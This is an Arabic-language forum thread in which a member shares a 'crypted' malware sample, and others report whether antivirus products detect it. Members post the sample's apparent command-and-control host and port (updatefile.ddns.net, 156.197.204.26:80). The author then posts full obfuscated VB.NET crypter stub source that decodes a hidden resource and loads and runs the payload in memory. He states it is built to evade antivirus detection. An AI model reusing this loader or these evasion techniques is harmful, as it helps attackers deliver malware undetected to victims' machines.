تشفيرة نعود مع التشفيرات بتاريخ 10/6/2017

[black007]

الله يعطيك العافية أخونا مصطفى على هذا الطرح المميز والرائع ...

حبيبنا الغالى ابو رمش منذ زمن لم ارك فى المنتدى لعل يكون المانع خير ان شاء الله

بانتظار التجربه اذا لديك نظام 64

 

[أبو رمش]

الله يعطيك العافية أخي مصطفى متواجد في أيام الإجازات والأخوة الأعضاء الكرام فيهم الخير والبركة ..
للأسف نظامي 32 ...

 

[awake]

جاري التجربه على بتديفندر 2017

 

[awake]

تم اكتشاف العينه وحذفها بمجرد تشغيلها

 

[Ahmed_Albosife]

اخي مصطفي زر التصويت لايشتغل عندي

 

[Ahmed_Albosife]

الكاسبر 2016 غير مكتشف باالفحص ههه

 

[النوميديالنوميدي is verified member.]

Avira

​

 

[prooonet]

[hide]
156.197.204.26:80

updatefile.ddns.net
[/hide]

تم الفتح بوجود الكاسبر على التلقائي ولم يكتشف شئ

هل المعلومات صحيحة ؟

 

[mha1m]

جزاك الله كل خير اخي الكريم
بخصوص التشفيرات اكيد التصويت نعم واصل ولا تفاصل
بالنسبة للنواة رجعت لل32 بسبب تعطل جهاز 64 الى غاية اصلاحه او تغيره

 

[at810]

السلام عليكم
مشكور على العينة
تمت اضافتها للمختبر سيتم منحها بعض الوقت لاحقا
باي لغة مبرمجة ؟ سي شارب ؟

 

[at810]

شيئ آخر
الاستفتاء لا يعمل معي

 

[SASA G]

جزاك الله من كل خير أخي الحبيب مصطفى

 

[black007]

تم اكتشاف العينه وحذفها بمجرد تشغيلها

مشاهدة المرفق 137286 مشاهدة المرفق 137287

نتيجه مميزه للدفندر كالعاده

ولكن كنت افضل الصوره كامله للاكتشاف

بمعنى ادق اوضح المسار الذى تختبر به الملف

هل يتم الفك على سطح المكتب بشكل مباشر

ام داخل ملف على سطح المكتب ام فى مسار اخر غيرهما

Avira

​

سحاب الافيرا

للاسف لا يعتمد عليه حيث ان سحاب الافيرا بخصوص اى ملف جديد عليه يتم تصنيفه تحت تلك التسميه APC وكانت لنا معه تجارب سابقه عندما كان العزيز @tiktoshi

يجرب على التشفيرات وبعدها بفتره يتم تحديث السحاب وربما يتاخر بتغيير التسميه

بل وكانت مهزله عندما قمت بنشر احدى التشفيرات وحكم عليها الافيرا بانه اكتشاف خطاء مع انها فى الاصل عينه خبيثه

لا اتذكر تحديدا اى موضوع من تجارب الغالى @tiktoshi

[hide]

156.197.204.26:80

updatefile.ddns.net

[/hide]

تم الفتح بوجود الكاسبر على التلقائي ولم يكتشف شئ

هل المعلومات صحيحة ؟

نتيجه ممتاز اخى الغالى واعتقد انك قمت بتحليل الملف عن الطريقه الديناميكيه فى التحليل لان الملف صعب قليلا فى الفك

والبيانات صحيحه احسنت فى ذلك

+

تم اخفاء البيانات عن الزوار لانها تخصنى

جزاك الله كل خير اخي الكريم
بخصوص التشفيرات اكيد التصويت نعم واصل ولا تفاصل
بالنسبة للنواة رجعت لل32 بسبب تعطل جهاز 64 الى غاية اصلاحه او تغيره

معوضه المره القادمه وجارى العمل على نسخ 32/86 على امل انها تصمد فتره قبل كشفها من المحرك

السلام عليكم
مشكور على العينة
تمت اضافتها للمختبر سيتم منحها بعض الوقت لاحقا
باي لغة مبرمجة ؟ سي شارب ؟

وعليكم السلام واهلا بالغالى عماد

رائيك فى التشفيره من الداخل بعد التحليل

العنيه مبرمجه .net متلاعب بالاكواد بعنايه

بانتظار الفك والبيانات من المنقح

اخي مصطفي زر التصويت لايشتغل عندي

شيئ آخر
الاستفتاء لا يعمل معي

بخصوص الاستفتاء شباب جارى مراسله الاداره بخصوص الامر ومعرفه اين الخلل

 

[التميمي14]

كل رمضان ونحن واحبابنا وانتم بخير وصحة وتوفيق


تجربة قصيره وانتهت بعد تجربه العينه
فتح الملف لم يتحرك المكافي


بالفحص لم يتحرك

 

[ihere]

والله يا عم مصطفى دامك قلت ما بحبطك أجل شكلي رحت بعيد

تفضل هذي الدالة

[hide]

[/hide]


بالنسبة للبيانات

[hide]HOST: updatefile.ddns.net

PORT: 80[/hide]

 

[black007]

كل رمضان ونحن واحبابنا وانتم بخير وصحة وتوفيق


تجربة قصيره وانتهت بعد تجربه العينه
فتح الملف لم يتحرك المكافي


بالفحص لم يتحرك


مشاهدة المرفق 137313

همممممممم

دعنى افكر قليلا هل المكافى يستحق الاحترام بعد تلك السنوات الطويله التى ظل فيها يصارع مع النورتون وكان بجانبهم البتدفندر

فتاذكر الاصدارات الاول لكل من الثلاث المذكورين معا وكيف كان المكافى والنورتون العدوين اللدودين لبعضهما وكان كل منهما يصارع على القمه

فى ظل ذلك ظهرت شركات حمايه اخرى بدات فى المجال مثل كاسبر و نود وافيرا فى اصدارتهم الاول التى كان بدايته لا تقارع الكبار

لكن انظر الى الحال الان تغير

والله اخى محمد اشكرك من كل قلبى لانك تصلت الضوء على برامج عشنا معها ذكريات رائعه جدا وتذكرنى بايام زمان

واستمتع دائما بالنقاش مع الشباب عندما ادخل قسم النقاشات افرح بان هناك تفاعل رائع من الجميع

لعلها تكون منفعه لنا جميعا وتبادل الخبرات

والله يا عم مصطفى دامك قلت ما بحبطك أجل شكلي رحت بعيد

تفضل هذي الدالة

[hide]

[/hide]


بالنسبة للبيانات

[hide]HOST: updatefile.ddns.net

PORT: 80[/hide]

حبيبى والله ياسليمان لكن لا اريد ان احبطك وهذه الداله غير موجوده اصلا فى التشفيره

ولعيونك فقط

تفضل السورس كود بالكامل للتشفيره

[hide]

 Sub main()
        CEMArFGOeVlkZFDlBAKDDbK(My.Resources.String1, "φιξخبثنξδσωξωι123")
    End Sub
    Friend Sub CEMArFGOeVlkZFDlBAKDDbK(ByRef ιθξιφβοωδφ As String, ByVal ξξοξισββθξ As String)
        Dim δοφωοοοδξβ As New System.Text.StringBuilder()
        For Each ξοξφφιφξιο As Char In ιθξιφβοωδφ
            Dim οσδιβθιιφο As String = Strings.ChrW(Strings.AscW(ξοξφφιφξιο) / (Strings.AscW(ξξοξισββθξ) Mod 30)).ToString()
            δοφωοοοδξβ.Append(οσδιβθιιφο)
        Next ξοξφφιφξιο
        Dim φοξξδθδξδβ = Nothing
        Dim gerwed = AppDomain.CurrentDomain

        GoTo oGhRjnALrJeSBAQLFcXhKOT
oGhRjnALrJeSBAQLFcXhKOT:

        Dim TwNsoDUcGUtfNHGeqDwhPQq As Integer
        TwNsoDUcGUtfNHGeqDwhPQq = 4030915

        If 3075361 = 3075361 + 1 Then End

        Dim hKjIGvKnJbqnhYBabAorSbj As Integer
        For hKjIGvKnJbqnhYBabAorSbj = 7382203 To 7382203 + 5
            Application.DoEvents()
        Next hKjIGvKnJbqnhYBabAorSbj

        Dim FXntwRRhOPKmLVPPemlhXNk As Integer
        FXntwRRhOPKmLVPPemlhXNk = 2590044
        Do While FXntwRRhOPKmLVPPemlhXNk < 2590044 + 10
            FXntwRRhOPKmLVPPemlhXNk = FXntwRRhOPKmLVPPemlhXNk + 1
            Application.DoEvents()
        Loop
        Dim ξοξφφιφξιοg = "#oa^".Replace("#", eYtHqCQHWitdLcMAttJrfHV(Chr(22), "ZWPhNbAZVEamFwpHcEEOdeN")).Replace("^", eYtHqCQHWitdLcMAttJrfHV(Chr(62), "ZWPhNbAZVEamFwpHcEEOdeN")) : Dim ξοξφφιφξιοrg = "Mn5r%Foin5".Replace(eYtHqCQHWitdLcMAttJrfHV(Chr(60), "qHYEYaIaUwPNFPCHOAZXjbv"), eYtHqCQHWitdLcMAttJrfHV(Chr(9), "LphZjZRcTrFlFfMHBtuhpXh")).Replace(eYtHqCQHWitdLcMAttJrfHV(Chr(2), "DMHiYfDFMUHXUVkZQKRXpHK"), eYtHqCQHWitdLcMAttJrfHV(Chr(20), "DMHiYfDFMUHXUVkZQKRXpHK")).Replace("%", eYtHqCQHWitdLcMAttJrfHV(Chr(44), "UuQGjeLGLPuvUluYCGnhvEt")).Replace(eYtHqCQHWitdLcMAttJrfHV(Chr(96), "UuQGjeLGLPuvUluYCGnhvEt"), eYtHqCQHWitdLcMAttJrfHV(Chr(25), "mfZaudUHKKkWUEHYmDLrEAe")) : Dim ξοξφφιdφξιο = "2n$ode".Replace(eYtHqCQHWitdLcMAttJrfHV(Chr(95), "mfZaudUHKKkWUEHYmDLrEAe"), eYtHqCQHWitdLcMAttJrfHV(Chr(36), "mfZaudUHKKkWUEHYmDLrEAe")).Replace(eYtHqCQHWitdLcMAttJrfHV(Chr(62), "ZWPhNbAZVEamFwpHcEEOdeN"), eYtHqCQHWitdLcMAttJrfHV(Chr(14), "eBAkjiGhDkmIjrfqERfhEhH")).Replace("$", eYtHqCQHWitdLcMAttJrfHV(Chr(19), "eBAkjiGhDkmIjrfqERfhEhH"))
        Dim ξοξφφιφξιοe = CallByName(gerwed, ξοξφφιφξιοg, CallType.Method, Convert.FromBase64String(δοφωοοοδξβ.ToString()))
        Dim ξοξφφιφξιοse = CallByName(ξοξφφιφξιοe, ξοξφφιφξιοrg, CallType.Get)
        Dim ξοξφφιφξιοd = CallByName(ξοξφφιφξιοse, ξοξφφιdφξιο, CallType.Method, 5 - 5, Nothing)
    End Sub

[/hide]

لا تقلق لن يستفيد منه احد لانه يحتاج الى خوارزميات الضغط وهذه تعتبر خوارزميات الفك فقط

ارفقطها للاطلاع

اما اذا قلنا داله السرفر الخام الاساسيه فهو مشفره وهذا ما جعلك تدخل فى متاهه من الدوال الاخرى

هذه المره تعمدت التعقيد لصعوبه الفك

وكما ترى الصعوبه ليست فى التشفيره اكثر من ان هناك حمايه اصليه على الباتش الخام

ودى وتقديرى

 

[ihere]

حبيبى والله ياسليمان لكن لا اريد ان احبطك وهذه الداله غير موجوده اصلا فى التشفيره

ولعيونك فقط

تفضل السورس كود بالكامل للتشفيره

[hide]

 Sub main()
        CEMArFGOeVlkZFDlBAKDDbK(My.Resources.String1, "φιξخبثنξδσωξωι123")
    End Sub
    Friend Sub CEMArFGOeVlkZFDlBAKDDbK(ByRef ιθξιφβοωδφ As String, ByVal ξξοξισββθξ As String)
        Dim δοφωοοοδξβ As New System.Text.StringBuilder()
        For Each ξοξφφιφξιο As Char In ιθξιφβοωδφ
            Dim οσδιβθιιφο As String = Strings.ChrW(Strings.AscW(ξοξφφιφξιο) / (Strings.AscW(ξξοξισββθξ) Mod 30)).ToString()
            δοφωοοοδξβ.Append(οσδιβθιιφο)
        Next ξοξφφιφξιο
        Dim φοξξδθδξδβ = Nothing
        Dim gerwed = AppDomain.CurrentDomain

        GoTo oGhRjnALrJeSBAQLFcXhKOT
oGhRjnALrJeSBAQLFcXhKOT:

        Dim TwNsoDUcGUtfNHGeqDwhPQq As Integer
        TwNsoDUcGUtfNHGeqDwhPQq = 4030915

        If 3075361 = 3075361 + 1 Then End

        Dim hKjIGvKnJbqnhYBabAorSbj As Integer
        For hKjIGvKnJbqnhYBabAorSbj = 7382203 To 7382203 + 5
            Application.DoEvents()
        Next hKjIGvKnJbqnhYBabAorSbj

        Dim FXntwRRhOPKmLVPPemlhXNk As Integer
        FXntwRRhOPKmLVPPemlhXNk = 2590044
        Do While FXntwRRhOPKmLVPPemlhXNk < 2590044 + 10
            FXntwRRhOPKmLVPPemlhXNk = FXntwRRhOPKmLVPPemlhXNk + 1
            Application.DoEvents()
        Loop
        Dim ξοξφφιφξιοg = "#oa^".Replace("#", eYtHqCQHWitdLcMAttJrfHV(Chr(22), "ZWPhNbAZVEamFwpHcEEOdeN")).Replace("^", eYtHqCQHWitdLcMAttJrfHV(Chr(62), "ZWPhNbAZVEamFwpHcEEOdeN")) : Dim ξοξφφιφξιοrg = "Mn5r%Foin5".Replace(eYtHqCQHWitdLcMAttJrfHV(Chr(60), "qHYEYaIaUwPNFPCHOAZXjbv"), eYtHqCQHWitdLcMAttJrfHV(Chr(9), "LphZjZRcTrFlFfMHBtuhpXh")).Replace(eYtHqCQHWitdLcMAttJrfHV(Chr(2), "DMHiYfDFMUHXUVkZQKRXpHK"), eYtHqCQHWitdLcMAttJrfHV(Chr(20), "DMHiYfDFMUHXUVkZQKRXpHK")).Replace("%", eYtHqCQHWitdLcMAttJrfHV(Chr(44), "UuQGjeLGLPuvUluYCGnhvEt")).Replace(eYtHqCQHWitdLcMAttJrfHV(Chr(96), "UuQGjeLGLPuvUluYCGnhvEt"), eYtHqCQHWitdLcMAttJrfHV(Chr(25), "mfZaudUHKKkWUEHYmDLrEAe")) : Dim ξοξφφιdφξιο = "2n$ode".Replace(eYtHqCQHWitdLcMAttJrfHV(Chr(95), "mfZaudUHKKkWUEHYmDLrEAe"), eYtHqCQHWitdLcMAttJrfHV(Chr(36), "mfZaudUHKKkWUEHYmDLrEAe")).Replace(eYtHqCQHWitdLcMAttJrfHV(Chr(62), "ZWPhNbAZVEamFwpHcEEOdeN"), eYtHqCQHWitdLcMAttJrfHV(Chr(14), "eBAkjiGhDkmIjrfqERfhEhH")).Replace("$", eYtHqCQHWitdLcMAttJrfHV(Chr(19), "eBAkjiGhDkmIjrfqERfhEhH"))
        Dim ξοξφφιφξιοe = CallByName(gerwed, ξοξφφιφξιοg, CallType.Method, Convert.FromBase64String(δοφωοοοδξβ.ToString()))
        Dim ξοξφφιφξιοse = CallByName(ξοξφφιφξιοe, ξοξφφιφξιοrg, CallType.Get)
        Dim ξοξφφιφξιοd = CallByName(ξοξφφιφξιοse, ξοξφφιdφξιο, CallType.Method, 5 - 5, Nothing)
    End Sub

[/hide]

لا تقلق لن يستفيد منه احد لانه يحتاج الى خوارزميات الضغط وهذه تعتبر خوارزميات الفك فقط

ارفقطها للاطلاع

اما اذا قلنا داله السرفر الخام الاساسيه فهو مشفره وهذا ما جعلك تدخل فى متاهه من الدوال الاخرى

هذه المره تعمدت التعقيد لصعوبه الفك

وكما ترى الصعوبه ليست فى التشفيره اكثر من ان هناك حمايه اصليه على الباتش الخام

ودى وتقديرى

الله يسعدك يا رب ويجزاك خير

لعلي ما أحبطت بس والله أني محبط

لأن آخر كم تشفيره ما أستطعت أستخرج بياناتها

ف السبب الرئيسي كما أراه هو عدم ألمامي بأكواد الـ net.

ولو كنت ملم لحللت السورس وتوصلت بإذن الله للنتيجة

ففي السابق كنت أحاول التعلم على لغة الـ net.

ولاكن رأيت أن الـ autoit تلبي حاجتي وجداً ناسبتني فأنتقلت لها ولم أعطي بالاً للـ net.

ف التحليل يتم بعشوائية ولذلك ذهبت بعيداً عن الوصول للهدف

فهذي أول نقطة سلبية وكان من المفترض أن لا أحلل بهذه الطريقة

أيضاً لم أبني على أساس ثابت

ف المنتدى ما شاء الله مليئ بالمعلومات والتي تتحدث عن أساسيات عمل التطبيقات .. إلخ من المعلومات

ولاكن لم استثمر الوقت لأستفيد

وعلى أي حال بإذن الله ستأتي الفرصة المناسبة لفهم هذا

لأني جداً مهتم في هذا الأمر

ف جزاك الله خير أخي الغالي ​

 

[black007]

الله يسعدك يا رب ويجزاك خير

لعلي ما أحبطت بس والله أني محبط

لأن آخر كم تشفيره ما أستطعت أستخرج بياناتها

ف السبب الرئيسي كما أراه هو عدم ألمامي بأكواد الـ net.

ولو كنت ملم لحللت السورس وتوصلت بإذن الله للنتيجة

ففي السابق كنت أحاول التعلم على لغة الـ net.

ولاكن رأيت أن الـ autoit تلبي حاجتي وجداً ناسبتني فأنتقلت لها ولم أعطي بالاً للـ net.

ف التحليل يتم بعشوائية ولذلك ذهبت بعيداً عن الوصول للهدف

فهذي أول نقطة سلبية وكان من المفترض أن لا أحلل بهذه الطريقة

أيضاً لم أبني على أساس ثابت

ف المنتدى ما شاء الله مليئ بالمعلومات والتي تتحدث عن أساسيات عمل التطبيقات .. إلخ من المعلومات

ولاكن لم استثمر الوقت لأستفيد

وعلى أي حال بإذن الله ستأتي الفرصة المناسبة لفهم هذا

لأني جداً مهتم في هذا الأمر

ف جزاك الله خير أخي الغالي ​

لا تحبط ابدا فكل منا يواجه عقابات لا مثيل لها وانا ايضا اوجه عقبات ولست بعبقرى كما يعتقد البعض

فنعم تصادفنى احياننا اشياء اعجز تماما عن فهما ولكنى احاول بقدر ما استطيع وحتى ان فشلت ربما هذا يهبط من عزيمتى بالايام وربما الاسابيع

ولكن عندما اعيد للعمل مره اخرى اجد نفسى صافى الزهن وابدا من اول اجد ان كل شى الصبح سهل

العامل النفسى اخى سليمان هو ما يجعلنا نستمر فى تعلم الاشياء او لا ولكل منا ظروفه فنحاول دائما الفصل بن هذا وذاك

بخصوص الاكود واللغه البرمجه

فلا تقلق ابدا لغه الاوتوايت لغه انا احترمها جدا جدا بل وانها افضل بمراحل كثير من بيئه .net على المستوى البرمجى

لكن مبدا عمل الكود واحد فى كل اللغات

ما تسطيع ان تنفزه بالدوت نت تستطيع ان تنفزه باى لغه اخرى حتى وان كانت دلفى وهى بعيده كل البعد عن الاثنين المذكورين

ما شد انتباهى هو اغلب الاسكربتات التى يتم برمجتها وفى مجال الهاكنج لغتنين اساسيتين ( لغه الباثون python + لغه البيرل Perl)

على الرغم من تعدد المهما المختلفه للغات ففى النهايه انت من تطوع الغه كما تريد فيمكنك فعل بها الاشياء النافعه او الضاره

ربما لدى متسع من الوقت لدراسه لغات اخرى لكن احياننا احس بممل وعدم التحفيز وذلك بسبب اسباب تعلما كما تكلمت معك فيها

اخيرا عادى ولا يهمك

بالممارسه دائما كما نقول كل شى يهون

سيبك انت منور المنتدى دائما ولا يهزك اى تشفيره

 

[prooonet]

بداية الملف كان محمي بحماية تم فكها ببرنامج NETUnpack64x
اصبح الناتج ملفين محميين بحماية Obfus/Crypted هل من حل
لفك هذه الحماية لانه جربت عدة طرق ولم تنفع ومطلوب مواقع
تترجم تشفير الاكواد المشفرة لعلى وعسى تفيد في التحليل

 

[ihere]

لا تحبط ابدا فكل منا يواجه عقابات لا مثيل لها وانا ايضا اوجه عقبات ولست بعبقرى كما يعتقد البعض

فنعم تصادفنى احياننا اشياء اعجز تماما عن فهما ولكنى احاول بقدر ما استطيع وحتى ان فشلت ربما هذا يهبط من عزيمتى بالايام وربما الاسابيع

ولكن عندما اعيد للعمل مره اخرى اجد نفسى صافى الزهن وابدا من اول اجد ان كل شى الصبح سهل

العامل النفسى اخى سليمان هو ما يجعلنا نستمر فى تعلم الاشياء او لا ولكل منا ظروفه فنحاول دائما الفصل بن هذا وذاك

بخصوص الاكود واللغه البرمجه

فلا تقلق ابدا لغه الاوتوايت لغه انا احترمها جدا جدا بل وانها افضل بمراحل كثير من بيئه .net على المستوى البرمجى

لكن مبدا عمل الكود واحد فى كل اللغات

ما تسطيع ان تنفزه بالدوت نت تستطيع ان تنفزه باى لغه اخرى حتى وان كانت دلفى وهى بعيده كل البعد عن الاثنين المذكورين

ما شد انتباهى هو اغلب الاسكربتات التى يتم برمجتها وفى مجال الهاكنج لغتنين اساسيتين ( لغه الباثون python + لغه البيرل Perl)

على الرغم من تعدد المهما المختلفه للغات ففى النهايه انت من تطوع الغه كما تريد فيمكنك فعل بها الاشياء النافعه او الضاره

ربما لدى متسع من الوقت لدراسه لغات اخرى لكن احياننا احس بممل وعدم التحفيز وذلك بسبب اسباب تعلما كما تكلمت معك فيها

اخيرا عادى ولا يهمك

بالممارسه دائما كما نقول كل شى يهون

سيبك انت منور المنتدى دائما ولا يهزك اى تشفيره

الله يحفظك أخي الغالي ويبارك فيك ويوفقك ويزيدك من العلم أكثر وأكثر

أنت ما شاء الله لا قوة إلا بالله تملك شي طيب من العلم

ونتمنى لك المزيد والمزيد

وبلا شك العقبات ستواجه الجميع وفي شتى المجالات

والعلم لا حدود له أخي الغالي

وكما تفضلت بالذكر بإمكانك أن تسخّر اللغة لإتمام ما تريد

والمهم أن تفهم الآلية من الكود المنشئ باللغة الأخرى لكي تستطيع كتابته باللغة التي تتعامل معها

والبايثون ما شاء الله دائماً ما أسمع عنها المديح وكذلك كثرة المكتبات فيها

ولاكن يبقى هنا الأساس وهو الشخص الذي يريد التعلم

بالنسبة لي

رأيت أن الـ Autoit ناسبتني جداً لأني أستطيع أن أنجز فيها أكثر من الـ net. فلذلك ابتعدت عنها

أما بالنسبة لتشفيراتك ما شاء الله

أقولك استمر وفعلاً عمل جداً رائع ما شاء الله

وبإذن الله وإن كان لنا نصيب سنعود ​